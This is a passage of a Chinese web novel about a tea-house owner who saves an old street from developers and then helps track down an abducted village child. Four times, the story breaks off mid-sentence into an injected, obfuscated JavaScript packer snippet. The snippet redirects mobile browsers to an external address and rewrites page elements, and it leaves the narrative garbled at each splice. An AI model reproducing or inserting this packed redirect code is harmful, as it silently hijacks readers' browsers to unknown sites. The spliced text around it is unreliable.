她的音量不大,但一屋子人都听到了,瞬间安静下来,整个二楼弥漫着一阵无能为力的叹息。 这时,手机铃声突然响起,余念念看了眼屏幕上的陌生号码,接了起来。 那边不知道说了什么,她霎时瞪大眼睛,看向常主任。 “怎么了小余?”常主任不明所以。 “......郑部长,来了......”余念念不敢相信似的说道。 “哪个郑部长?”常主任茫然问。 “崇安市文旅部的郑部长,之前老街活动您接待过的。” 这下,常主任的眼睛也意外地睁大。 堂堂市政府文旅部的部长,怎么可能一声不吭地到访老街,还单单给一个素不相识的小姑娘打电话?一屋子人都呆坐着,不知如何反应。 余念念举着话筒,又听到了什么,眼睛瞪得更大,伸出只手指,指了指地面:“现在,此刻,就在楼下。” 哗啦—— 一阵骚动,整个二楼回荡着桌椅被推动的摩擦声,所有人都站了起来,奔向楼梯,又硬生生刹住,将常主任让到最前头,跟在他后面下了楼。 茶馆门外的老街路口停着一辆低调的黑色红旗轿车,一位头发花白、约莫五十多岁的男人身着不起眼的灰色夹克衫,站在公告栏前仔细看着,看到张夹杂着崇安方言的手写邀请函,脸上浮现出笑意。 不远处的茶馆大门里涌出一群人,朝他这边张望片刻后,迅速围了过来。 “郑部长,您来视察怎么不提前说一声,我们真是措手不及!”常主任和他握了握手。 郑部长笑着摆摆手:“我不是来视察的,不用专门准备什么。” “那您这是?” 郑部长朝人群里张望了下:“余念念余小姐在哪里?” 余念念迅速被众人推到前面,脸上还带着一丝不可置信。 郑部长仔细打量了她一番,笑起来:“你就是给我写了十几封邮件的茶馆老板,余念念?” 人群安静了一下,又迅速泛起交头接耳的小声议论:“邮件?”“十几封?”“给文旅部部长么?”“咱们小余?”...... 余念念不好意思地低头笑了笑,俯身鞠了一躬:“郑部长,抱歉对您进行了邮件攻击,但,这实在是没办法的办法。” 郑部长点点头,看了眼一旁显然不知情的常主任,脸上浮现出欣赏的笑意:“我很庆幸我有每天把邮件看完再睡觉的习惯,以前,我只知道崇安有条长坪老街,现在,我认识了老街上不少风云人物。” 他看了眼人群,高声问:“棋王魏大志是哪位?” 魏大爷被推出来,一脸羞愧地搓着手:“什么棋王!自娱自乐罢了,您可别当真。” 郑部长抓住他的手用力握了握:“改天,咱们下一盘,我是崇安象棋比赛的金牌得主,你要是赢了我,你就是崇安棋王!” 魏大爷眼睛一亮:“还有这个比赛?我怎么不知道!” “哈哈,以后,你们老街还得多多融入咱们崇安市的文艺活动中来啊!” 老街众人之中一阵骚动,以后?这么说,老街还有以后? 郑部长又逐个认识了余念念邮件里写到的几个人,接着,回到余念念面前,一脸认真地问:“我们去陈帆家,阻止这个浪子把他母亲带走,还来得及么?” 余念念扑哧笑出声,眼中放光,用力点头:“来得及!” 一群人浩浩荡荡领着郑部长朝老街深处走去。 当天,那个曾经被巷子困住的人终于可以放心地继续在外流浪,而他最挂念的亲人,也得以继续安眠在自己最熟悉的土地上。 离开前,郑部长立在公告栏下,看着余念念,放下什么担子似的长舒一口气。 “余小姐,谢谢你不厌其烦地带我认识老街上的人,不管是十几封邮件的介绍,还是今天活生生的接触,我都很感谢!” 他转头,又对常主任说:“老常,之前是我们失误了,有时候,站得高,离得远,难免会失去一些人情味,好在,一切是可以补救的!回去,我会正式向上级,向兄弟部门汇报老街的情况,我保证,没有任何一家公司、一个个人可以再罔顾老街居民的意愿,用钱来搞破坏!” —————— 当天晚上,余念念盘腿坐在颜喜书画斋的沙发上,兴致勃勃地读着某条热搜。 “令人不齿!知名地产巨擘居然采用低劣手段驱赶老街居民,老人流泪商户无助更有保护性建筑命运堪危!” 一个字一个字念完,余念念仰头笑道:“这热搜怎么这么拗口!而且,它说的到底是不是环锦?如果是的话,为什么不敢指名道姓?” 白砚坐在一旁,见她脸上一扫前几日的阴霾,也跟着笑起来。 柜台后面的白老却似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751965|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有些尴尬,干笑了两声,站起来在店门口晃悠。 这时,一道亢奋的声音从店外由远及近地传来:“爸!看到我买的热搜了没?又花了我一大笔钱!是不是一眼就能看出是说的环锦?那就对了!诶嘿!他们公关部肯定怀疑不到我头上去!” 沙发上两人的注视中,一个一身高级亚麻套装的中年男人从门口跨进来,一脸兴奋,只是刚一进门,便被白老低哧了一声。 余念念低呼:“是那位赞助商!” 男人见到她,脚下一顿,眼中一亮,长腿一迈就要迎上来:“是儿媳——” “啪”地一声巨响后,男人的话音陡然转为一声痛呼——白老的拐杖重重砸在了他的小腿上。 余念念连忙起身,瞪着这个莫名遭受杖击蹲在地上面部扭曲的男人。 白砚也从沙发上站了起来,走到男人跟前,皱眉道:“你买的热搜?难怪连语句都不通顺。” 男人的脸色由痛苦的涨红转为悲愤的青白,缓缓起身,视线在白老和白砚这一老一小之间来回切换,切换一次,就更加悲愤一分,终于,咬牙切齿道:“你们两个有没有良心?!我这是为了谁?我难道不是为我们老白家操碎了心么!” 余念念后知后觉地“啊”了一声,后退一步,微微欠身:“原来是白叔叔......” 难怪她上次就觉得这位赞助商的声音有些耳熟,现在想起来,不就是曾经在白砚公寓电话里听到的那个声音么! 白父见她如此庄重地打招呼,忙调整表情,上前一步,正要热情握手,身侧两个人影已经飞快地一左一右将余念念扶正。 “小余,别理他,这个人脑子不好口齿也不清,说了什么你都不要介意!”白老道。 “念念,没吓到你吧?这里空气不好,要不我们出去走走?”白砚道。 白父伸出来的手僵在空气里,脸色像跑马灯似的在青白红之间轮换着。 余念念干笑一声,缓缓握住那双手,上下颠了两下,成功地让这个在白家饱受排挤的男人感动得热泪盈眶。 一丝难以言喻之余,余念念又依次打量了一番眼前的三个男人——白老是老狐狸,白砚是小狐狸,只是,这中间不知发生了什么,混入了一只......哈士奇? —————— 很快,老街等到了环锦的动作。 环锦崇安地区总裁亲自到访,向老街街坊和居委会表达歉意,表示此前的做法完全出于某位不熟悉国内市场的海外负责人之手,眼下,那位负责人已退出老街项目,后续方案重新协商,保证充分尊重老街居民意愿。 老街守护者联盟一片欢呼,愿意拿钱走的和想要留下来的此时此刻终于不再割裂,又重归于同一个叫做“老街居民”的群体里。 短暂庆祝后,余念念想起什么,追出去,追上那位正在跨上轿车的环锦总裁:“请问,尤佳后续会怎么样?” 总裁先生十分客气地道:“她主动提出离职,明天就要坐飞机出国了。” 61. 内鬼 电话接通时,听筒另一端传来广播夹杂着人流的嘈杂声——是机场特有的背景音。 尤佳的声音几秒钟后才响起,语气不似最后一次见面时的森冷,也不像前两次见面时的热情,是一种类似云淡风轻的冷淡。 “余老板这个时候还联系我,是专程来听我的笑话么?” 栈南河边,余念念握着手机,看着静静流淌的河面,说道:“尤佳,我们总共只见过三次,如果不是因为环锦和老街的事,我们之间不存在过节。今天打给你,是因为之前私下联系你父亲的事,我觉得应该把谈话内容原原本本地告诉你。” 那头没有回应,也没有挂断。 “那天给你父亲打电话时,他明显喝多了,说话都不是很利索,借着酒劲,一半回答我的问题,一半发泄他自己的情绪,所以,他把你怎么拒绝他要钱的请求,你怎么无情嘲笑他一把年纪一无所有,你怎么放狠话要拆除整个老街,都统统告诉我了。” 尤佳道:“那又如何?上次来在我办公室时我就没有否认,我确实恨他恨到想要铲平老街。” 电话那头的嘈杂声小了一些,尤佳似乎找了个安静的角落来接这通电话。 “后来,他又给我打过来了一次,那次,声音听上去很清醒。他说,他很后悔,他之所以跟你提要买回老街店铺的要求,是因为跟你在老街生活的日子是他唯一美好的记忆,你离开后的每一天,他都活在悔恨里。” 一阵沉默后,尤佳问:“你打这通电话,就是为了告诉我这个?” “是。” 那头传来一阵轻笑:“余念念,我现在可以理解为什么白砚喜欢你了。你就是那种美满家庭里长大的天之骄女,身上散发着阳光普照的气息,以为凭着爱和温暖就可以感化万物,你确实很容易吸引到白砚这种内心渴望温暖的男人,但在我眼里,你的所作所为就像不识人间疾苦的圣母。你以为你告诉我这个,我就会因此而感到愧疚么?笑话!从他把我妈打到半死的那天起,他在我眼里就跟下水道的老鼠没有区别了!” 余念念盯着水面下的一团阴影——在阳光下,那阴影漂浮不定,难以捕捉,她耸耸肩,低声道:“哦,那就好。” 电话那头一愣,接着,尤佳像是想到什么,问:“你说他打给你,那是什么时候?” “我们在你办公室见完面的那天晚上。” “那你为什么现在才告诉我?” 短暂沉默后,余念念回答:“因为那天跟你见完面,我就下定决心要走另一条路了。” 手机听筒里的沉默似乎变得粘稠,机场的广播和栈南河的流水声都消失不见。 “你是故意的。”尤佳终于反应过来,“你专门来我办公室,当面试探出我的态度坚决,便立刻改变策略,激怒我,让我下定决心用尽一切办法赶走老街居民,这样,老街成了受害者,环锦成了恶人,你也有理由发邮件给郑部长告状。” 余念念冲着栈南河皱了皱眉头:“‘告状’这个词用得不是很好,我的邮件里只是在陈述事实。我说过,这是没有办法的办法,一切决定都是你和环锦自己做出的,我只是在赌郑部长会看到邮件。” 一阵绵长的空白后,话筒里爆发出一阵笑声,声音之大、持续时间之长,让余念念担心尤佳会不会引起机场保安的注意。 笑声过后,尤佳朗声道:“余老板,我收回刚刚对你的评价。看来,是我小看你了,只是,我还是不能理解,你来老街才不到半年,为了一群素不相识的人,你做的这些,值得么?” “值得不值得从来没有统一的判断标准,就像我也不能理解你,你和白砚之前在老街一起长大,还不是一声不响地把他给丢下了?” 尤佳又发出阵笑声:“原来余老板并不是跟我毫无过节,只怕从一开始就替白砚打抱不平了吧?” 余念念十分没说服力地干巴巴道了声:“没有的事。” 那头,尤佳长长舒了一口气,语气变得认真:“余念念,谢谢你给我打这个电话。知道我的对手不是靠圣母心感化世界,而是个有勇有谋的女人之后,我感觉好多了,我愿赌服输。” 余念念正想回一句“承让承让”,尤佳话风一转:“还有白砚,我本来还觉得他的眼光很老土,喜欢上了一朵清纯小白花,现在看来,你很有心机,既然能赢我,想必在感情上也可以轻松拿捏他,我的老同学往后的日子看来不会像小时候那么冷清了。” 余念念喉头一梗,很想说句:“这方面你完全想岔了,你的老同学并不是被拿捏的那一个。”但出于面子,没说出口。 “我要登机了,以后,估计不会回崇安了。余老板,后会无期。”伴随着机场广播声,尤佳的声音传过来。 “后会无期。” —————— 夏天即将到来的时候,环锦和老街的谈判尘埃落定。 按照白砚和余念念一开始便设计好的方案,靠近十字路口的一段区域交给环锦来开发,往里直至老街深处的区域仍保留原来的风貌——不管是人,还是物,都由老街自行决定去留。 在一阵热火朝天的动作之后,老街还是那条老街,只是所有人都感受到了旧和新并存的味道。 老潘照相馆正好处在新商业区和老街区域交界处,招牌没变,只是里面做了翻新,一改原来的陈旧昏暗,变得宽敞明亮,里屋十几年前大火的痕迹被抹去,那根一直留在角落的铁拐杖也被丢进了垃圾堆。 李婶和老孙从靠近路口的地方搬进了老街更里面。李婶家的房子是环锦按照原来的格局新盖的,水电煤气等硬件设施改得更合理,李婶对此十分满意。而老孙,则大手一挥,丢掉【老孙早点铺】的旧招牌,十分高调地重新做了块【飘香早点铺】,因为地段变得更靠近中心,真的每天一早便“香飘”整条老街。 颜喜书画斋、老街居委会,以及陈帆家的老屋没有任何改动,其他住户也有的走、有的留,走了的腾出空间来给搬到深处的人住,留下的,则安安心心维持着原来的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787208|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而安福楼,在万众瞩目中,即将迎来它的新主人。 刘大爷出院后,从老街正义使者,摇身一变,成为老街第一监工,监督对象只有一个,便是余念念。 “小余,怎么还不装修?这都歇多久了?” “小余,瞎晃悠啥呢,安福楼搞得咋样了?什么时候能开张?” “小余、小余、小余......” 在刘大爷带动下,其余象棋大爷纷纷加入,监工团队从区区一个人迅速扩张到十几个人,余念念一段时间内都不敢从大路进安福楼,只敢绕小路从另一头偷偷摸摸拐进来,生怕遭遇十几人团伙的催促轰炸。 终于,在七月的某一天,余念念拿出从原来店铺带过来的“老街茶馆”匾额,擦了又擦,郑重地挂在了装修一新的安福楼一楼大门外,十分满意地欣赏了一阵,接着,向整条老街宣布: 老街茶馆重新开张啦! 小优以光速回归。虽然她已经和家里和好,重新得到了她爸的黑金副卡,但她仍以余念念难以理解的热情投入到这份工资还不够她买个包的工作当中。 下棋的大爷像众神归位般迅速在新的老街茶馆里找到心灵港湾,安福楼的一楼从开张第一天起便回荡着熟悉的象棋落子声和争吵声。 “踏实了......” ——余念念倚着大门,看着在大堂里来回穿梭的小优,听着象棋大爷们止不住的嘈杂声,从心底里发出声满足的叹息。 —————— 忙碌的时光过得飞快,转眼,茶馆重开张已经一个多礼拜。 这日,一抹天仙白从茶馆门口飘进来,余老板心头一颤——因为安福楼装修和茶馆重新开张的事,她这段时间忙得脚不沾地,虽然听小优说了好几次白砚来茶馆找她,但一直没机会和白砚说上几句完整的话。白砚发的消息一般也是拖到晚上临睡前才有时间回,且回得甚是敷衍。 小优迅速凑过来:“小白哥又来了,肯定是来找老板你的~” “嘘!”余念念赶紧捂住她的嘴,“别瞎说,没看他扛着相机么,肯定是去老街上拍建筑去的!” “那为啥每次都要来茶馆走一道?难道不喝茶就拍不出好照片?” “……”余念念无言以对,过了一会儿,边嘀咕边摇头:“天仙很难养的!你看看他,从头到脚都透着仙气,我这小茶馆哪养得起。” 一切重新回到轨道,她又面临了经营茶馆的压力,装修安福楼刚刚花了她一大笔钱,眼下,正是精打细算的时候。 一旁,小优观察着她的脸色,偷偷掏出手机,往某个神秘小群里发送了条消息。 第二天一早,白砚站在茶馆柜台前,看着里面正在戳计算器的女人,终于憋不住,哀怨中带着诚恳道:“余念念,我很好养的。” 当天,茶馆罕见地只开张半小时就关门了,老街街坊议论纷纷。 外部传言:余老板关门审内鬼。 内部消息:余老板害羞啦! 62. 奔赴 “余念念,我很好养的。” 白砚双肘撑桌,上半身伏在柜台上,眼神灼灼盯着余念念,一字一字地说道。 余念念正在戳计算器的手僵硬在空气中,脸上缓缓爬上一层薄红,心虚地打量一番四周——还好,白砚音量不大,象棋大爷们沉浸在棋局里没有在意这边的动静——只是,余光里,小优的手机欲盖弥彰地举在脑门上,脑袋则从手机后可疑地伸出来。 余念念唰地站起身,从柜台后冲出来,一把拽过白砚的胳膊,将他拖到后屋某个角落,推开扇极不起眼的小门,将人推进去后,自己也挤了进去。 这是楼梯下的一间储藏室,空间逼仄,光线昏暗,且还没来得及安装灯泡。 砰地一声,余念念将白砚推到门上,两只手一左一右撑在他颈侧,凶狠道:“老实交代!你是不是在我身边安插了卧底?那个人是谁?小优?还是沈童?!” 就着半扇百叶门板透进来的光线,白砚的眼神在余念念冒着凶光的眼睛和一开一合的嘴巴之间游移,眼底逐渐浮现一丝笑意。他将脑袋仰靠在门上,身体丝毫没有抵抗的意思,相反,似乎十分享受此刻遭受的压迫,为了余念念不用撑得太费力,他甚至悄悄弯了弯膝盖。 “是小汤包。”白砚轻声道。 “小汤包?!”余念念双目圆睁,不敢相信,“我回老街后都没见过他,他怎么会知道我说养不起你!” “你离开老街在洪家村种地的那段时间,沈童、小优还有小汤包十分思念你,经常来茶馆门口晃悠,有一次,他们三个正好凑上了,就加了个群......” 白砚慢悠悠地说着,见余念念眼睛一点一点睁得更大,嘴角忍不住勾起:“而且,我不仅知道你说你养不起我,我还知道,你的房间里藏了一个巨大的沙袋,那个沙袋长了跟我一模一样的脸——” 一声肌肤相触的轻响,白砚的话音被余念念死死堵在手掌下。在白砚的无声注视下,她眼睛一通狂眨,脸烫得几乎要冒烟,手掌下白砚的呼吸也像一团火苗在舔舐她的掌心。 大脑疯狂运转片刻后,还是编不出一个合理的解释,她一个回撤,收回胳膊,将白砚一推,便想钻出门去,不料,被一只坚实手臂拽住,下一秒,被箍在双臂之间。 攻守瞬间移位,余念念彻底老实了,化身鸵鸟,低下头紧闭双眼。 狭窄的空间里响起白砚憋不住的轻笑声,他欣赏了一会儿平常不多见的余念念老实乖顺的样子,缓缓道:“我真人每天就在你面前晃悠,你为什么要去打硬邦邦的沙袋?还把自己打得腰酸背痛,听说这件事之后,我真恨不得钻进你的脑瓜子里看一看,是什么样的脑回路,才想得出这种又伤人又伤己的办法!” 说到最后,白砚语气里带了一丝难以克制的怨气,余念念几乎可以脑补出他的潜台词:来啊!当面惩罚我啊!你这个胆小鬼! 她咽了口口水,将眼睛闭得更紧,睫毛在用力之下微微颤抖。 白砚终于轻轻叹了口气,在她头顶轻拍一下,说道:“改天再说这个,今天,我有更重要的事跟你说。” 接着,他凑到余念念耳边,轻声说了句什么。 下一秒,余念念猛地抬头,后脑勺重重砸在门板上,发出声巨响,但她顾不得喊痛,瞪着白砚问:“你说的是真的?!” 白砚眼里闪过丝心疼,皱眉替她摸着后脑勺,回道:“消息是真的,人是不是真的,就得实地去看了。” 半小时后,茶馆关门,来不及交代半句的余老板拖着白砚从骂骂咧咧的大爷丛中挤出来,冲着外面狂奔而去。 —————— 中午时分,从崇安飞往凡城的飞机缓缓升空。 看着一点一点消失在机翼后的机场跑道,余念念长出一口气,赶飞机时紧绷的神经和身体终于放松下来,扭过头,看向白砚。 “你怎么知道我在找小豆子?” 关于小豆子走丢的事,她第一次在洪家村过夜时在银杏树下听村长说过后,就再也没对任何人提过,所以,刚刚在茶馆储藏室听到白砚说在凡城找到了小豆子时,她才会这么惊讶。 “我听小优说,你曾经托她在学校论坛上发过寻找走失儿童的帖子。后来,你也在我的摄影论坛上发过类似的帖子,配的是我们第一次去洪家村时我拍的银杏树的照片。” “啊,你居然留意到了......” 那是茶馆刚开张不久的事,那时,她一有机会,就往网上发布寻人启事,可后面发生了太多事,她应接不暇,都快把找小豆子这件事给忘了,没想到,白砚居然看到,且持续关注着。 “我时不时就顶一下你的帖子,后来,也自己发一下。昨天,有个凡城的粉丝联系我,说自己的儿子可能就是小豆子的同学,从发来的照片里看,那孩子跟村长有几分相似。” 余念念凑过去看,一张挤满了小孩的合照上,白砚手指指着站在最边上的一个小孩,孩子方正的脸型和皱着眉的表情确实有点像村长。 余念念心里泛起强烈的希望,用力点点头:“不管怎样,都值得飞去看看!” —————— 飞机落地,接机口外人头涌动。 两人一点点往外走着,突然,白砚指了指某个方向,对余念念说道:“那边。” 顺着他手指的方向看过去,一男一女立在那里,男人头发稀薄,颇为成熟稳重地站在女人后面。女人则青春靓丽,扎着年轻的丸子头,胸前捧着张接机牌,活泼地朝人流张望着。 “那是......”余念念仔细看了眼女人手上接机牌的内容,一拍手:“一座白色的塔!秒啊!” 白塔摄影师名声在外,直接写出来怕会引起骚动,这样画出来,看懂的自然就懂了。 余念念冲两人挥了挥手,快步走过去,握住年轻女人的手,热情道:“您好您好!您就是白塔的粉丝吧!还专程来接我们,真是太过意不去了!” 她扭头,又冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787209|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁那位中年男人微微欠了欠身:“这位是——”她迟疑着看向女人,见她脸上认同的表情和微微点头的动作,接道:“——伯父吧?送您过来的?” 女人眼睛意外地睁大,接着,绷不住地笑出了声。 成熟男人模糊的发际线下似乎出现几条黑线,嘴角无力地蠕动片刻,十分礼貌而克制地道:“我是她老公。” 余念念笑容僵住,迅速调整表情,正要去握男人的手,又听他幽幽说道:“另外,我才是白塔粉丝,我媳妇是陪我来的。可能看上去不太像,但是,在你们看不到的地方,有很多像我这样朴素的理工男为了自己内心的一腔热爱在无数深夜里默默钻研着摄影技术......” 尴尬在空气中弥漫着。余念念感到身旁有什么在颤动,扭头一看,白砚半低着头,一手食指紧紧咬在齿间,另一手掐着腰,整个人憋笑憋到发抖。 她立刻一拳捣过去,白砚“嘶——”地一声捂住遭到攻击的侧腰,收敛笑意后,冲理工男粉丝伸出手:“我当然知道,你从三年前开始就给我发过很多凡城建筑的照片,每张都存在我的电脑里。” 男人立刻忘了自己被强行抬升辈分的尴尬,一脸兴奋地抓住白砚的手:“每张么?!我拍得如何?你可以说实话,我一点都不会介意!” 两人边聊边往外走,余念念松了口气,冲粉丝先生的老婆干笑一声,和她一起跟了上去。 十分钟后,四人就地在机场找了间咖啡馆,坐到角落的一张桌子上,详细聊起小豆子的事。 “我儿子上小学三年级,你们知道,这个年纪的小孩儿,脑洞都很清奇,所以,之前听他说他同桌有前世记忆的时候,我都当他们俩在自嗨。” “前世记忆?”余念念惊奇道。 “嗯!我儿子老跟我念叨,说他同桌对他说,他前世不姓廖,姓洪,也不住凡城,住在一个村前有棵大树的村子里,平时吃完饭就在树下玩,那棵树又高又大,树枝上长满了黄色的叶子。” 余念念听得心跳逐渐加速,身体绷得笔直,眼珠不错地盯着粉丝先生。 “后来,我在论坛上看到白塔发的帖子,仔细一想,这才发现不对劲。村口长满黄色叶子的大树,不就是照片里那棵银杏树么?前世姓洪,哪来什么前世,那分明就是小孩儿被拐走之前模糊的记忆嘛!所以,我就赶紧给白塔发私信,还发了我儿子班级的合照,没想到你们动作这么快!我发完把手机丢一边忙别的事情去了,再看的时候,居然告诉我已经准备登机了......” 粉丝先生后面的话没有进入余念念耳朵里,她整个人紧张地僵直在那里,脑子里回荡着他那句“被拐走前模糊的记忆”。 对上了,一切都对上了...... 应该不会搞错吧,千万不要搞错啊! 一只手按在她的肩膀上,安抚地轻轻拍着,她扭头看过去,白砚温柔的眼神看着她。 “别担心,明天我们一起去找小豆子。” 63. 翻滚 第二天下午,凡城第三实验小学校门外,四个成年人站在一角,看上去像是两对普通的学生家长,只是,在一众叽叽喳喳的家长群中,他们四个显得格外安静。 余念念脸色微微发白,紧张得几乎有些想吐。 以往,她为公司、为茶馆、为老街操办过大大小小不少活动,紧张的时候也有,可从没体会过这样一种近似于恐惧的紧张——一种希望在胸腔里膨胀到快要爆炸的恐惧。 黄大利——理工男粉丝先生连名字都如此朴实无华——见她紧张得实在太明显了,开口道:“放轻松,今天我们只是几个对小豆子前世今生十分感兴趣的成年人,要知道,这样的成年人不多见,孩子们会很珍惜的。” 从昨天见面之后,王大利就直接将自己儿子的同桌喊作“小豆子”了,余念念也不知道这让她感觉好一点,还是让她更紧张。 “黄先生,你真是一个内心柔软的人。”她勉强挤出个苍白的笑容,夸赞道。 黄大利脸上表情一僵,幽幽道:“通常,只有外表实在没有什么可取之处的人,才需要夸赞他的内心......” 余念念正想接一句“就是跟我一样喜欢过度脑补”,就听王太太喊道:“出来了!” 只见,校门里,并排走出两个小男孩,一个高一点,一脸喜气洋洋,另一个矮壮一些,有些愁眉苦脸。 余念念一见到那个愁眉苦脸的小孩儿,就感到自己胸腔里希望稳稳落地的踏实,她扭头去看白砚,两个人在对方眼睛里看到了同样的欣喜。 ——这孩子活脱脱就是个迷你版村长! 这敦实的体型,这方正的国字脸,这皱着眉头对什么都有点儿不满的小表情!余念念几乎想凑上去捶他一拳,大喊一声:“愁什么愁,走啊去种地!” 黄大利将两人的欣喜看在眼里,面不改色地领着他们迎上去,摸摸自己儿子的脑袋,温和道:“黄童童,今天上学开心么?” 喜气洋洋的小男孩原地蹦起来:“开心!今天发卷子,我语文及格了!” 话音刚落,愁眉苦脸的小男孩翻了个白眼,撇着嘴看着另一个方向,声音不大不小地吐槽:“真容易满足,六十多分也值得开心了。” 余念念心里又是一乐:这嘴欠的小样儿也神似村长! 黄大利装作没听见小男孩的话,大声道:“这么高兴的事,那我们去吃顿火锅庆祝一下吧!” 黄童童一蹦三尺高,愁眉小男孩颇有眼力见儿地抬脚便要走,被黄大利拉住:“王苗旺,你跟我们一起吧!给你爸妈打个电话!” 王苗旺小朋友踌躇着,黄大利立刻加码:“我老听我们家童童说你有前世的记忆,这也太酷了吧!今天一起吃饭,你给叔叔阿姨讲讲呗!” 一听“太酷了”,王苗旺眼睛一亮,接过黄大利递过来的手机,拨了个号码。 电话很久才被接通,接通后,他小心翼翼说:“爸,我今天可以不回家吃饭么,我同桌黄童童爸妈带他去吃火锅,邀请我一起。” 那边不知道说了什么,几乎只有一两秒,便挂掉,小孩眼里闪过一秒钟的失落,但很快又兴奋起来,将手机递还给黄大利:“我爸说随便我,我们去哪儿吃火锅啊叔叔?” —————— 火锅店里人声鼎沸,热气蒸腾在每张桌子上。 两个小孩叽里呱啦你一眼我一语又将王苗旺的前世记忆翻来覆去说了几遍,终于暂时安静下来,沉浸在食物里,偶尔抬头看眼对面像雕像一样端坐着看着他们——主要是看着王苗旺——的白砚和余念念。 每次接收到王苗旺的视线,余念念都露出一个标准的亲和的微笑,终于,第八次展示笑容后,她听到王苗旺低声对黄童童说道:“你婶让我害怕,干嘛老对我笑......” “我也是第一次见这个叔和这个婶,估计是太崇拜你了吧,毕竟不是谁都有这么酷的记忆啊。”黄童童小朋友没心没肺地乐道。 余念念的笑容僵在脸上,缓缓收回视线,端起杯子喝了口水,瞪了眼一旁发出阵闷笑声的白砚。 “小苗旺,你告诉过你爸妈这件事么?”黄大利边用大勺往每个人的碗里分着食物,边挑起个新话题。 王苗旺小脸一下子垮下来,蔫蔫道:“他们不爱听......而且,自从去年我弟弟出生了,他们听我说话的时间越来越少了。” 余念念心里一抽,脱口而出:“你又有弟弟了?” “嗯......从我很小的时候,我爸妈就想要个小弟弟,去年,终于有了,他们可开心了。” “但是,你不开心,对么?” 王苗旺小脸皱成了一个小包子,满是纠结,就像承认不开心是一件非常不对的事情:“我......我替爸妈开心......” 桌上沉默下来,就连黄童童都察觉到了这个回答十分令人心酸,他拍了拍自己同桌的小小肩膀,义正言辞道:“我爸说,不要替别人的情绪操心,要自己感到开心才行。” 王苗旺看了他一眼,又看了眼黄大利,眼里透出由衷的羡慕:“你爸真好,不是每个小孩的爸爸都像你爸这么有耐心的。” 余念念胸口一阵发闷,几乎要脱口而出:“你的爸爸不仅有耐心,还很可爱,很幽默,很有本领呢!” 但白砚的手稳稳按在她肩上,提醒着她不要操之过急。 吃完饭,火锅店门口,两个小孩乖乖等着大人结账。 余念念蹲到王苗旺面前,像粉丝对偶像那样眨着星星眼说道:“我可以和你合张照么?童童说的没错,我真的很崇拜你!” 小孩脸上泛起兴奋的红色,用力点点头,摆了个酷酷的姿势,和余念念一起拍了张自拍照。 —————— 目送着王苗旺小朋友上了回家的公交,又和黄大利一家告别后,余念念和白砚返回酒店。 “附近有个公园,去散散步吧。”白砚看出余念念心事满满,提议道。 酒店后面是一片宽阔的绿地,即使在凡城这个不算太繁华的城市,这样一片绿地也算得上奢侈。 夜色低垂,外面华灯初上,公园里却显得幽静昏暗。 两人沿着河边步道走着,白砚打破沉默:“念念,你在想什么?” 余念念长叹一口气。最初的兴奋过后,无数问题摆在眼前:怎么告诉村长这件事?要不要直接报警?虽然他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794518|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩几乎百分百确定那就是小豆子,但还是有一丝概率搞错了,搞错了怎么办?如果没搞错,小豆子要是知道自己的前世记忆背后其实是一段惨痛经历,会不会产生心理阴影? 左思右想,似乎选哪一条路都会顾此失彼,她停下脚步,晃了晃脑袋,求助似的望向白砚。 对于她如此直白的依赖,白砚十分满意地点点头,直截了当道:“报警吧。现在大家对这类拐卖儿童案件非常重视,宁可错杀不能放过,警方不会嫌麻烦的。” 这句话像颗定心丸,让余念念摇摆的内心安定下来,她点点头,露出微笑:“听你的。” 白砚被她亲呢的笑意晃得一愣,还没缓过神来,余念念又凑近了一些,目光灼灼地说道:“白砚,这次多亏了你,你说,想要我怎么报答你?” 白砚微微扬眉:“为什么是你报答我?” 余念念避开他的眼神,语调变得不是那么自然:“你从不爱管闲事,跟村长的关系也一般,要不是为了我,怎么会这么费心费力啊......” 话未说完,白砚扶住她的肩膀,将两人之间的距离压缩得不到一拳,低沉道:“余念念,原来你心里什么都知道啊。” “......” 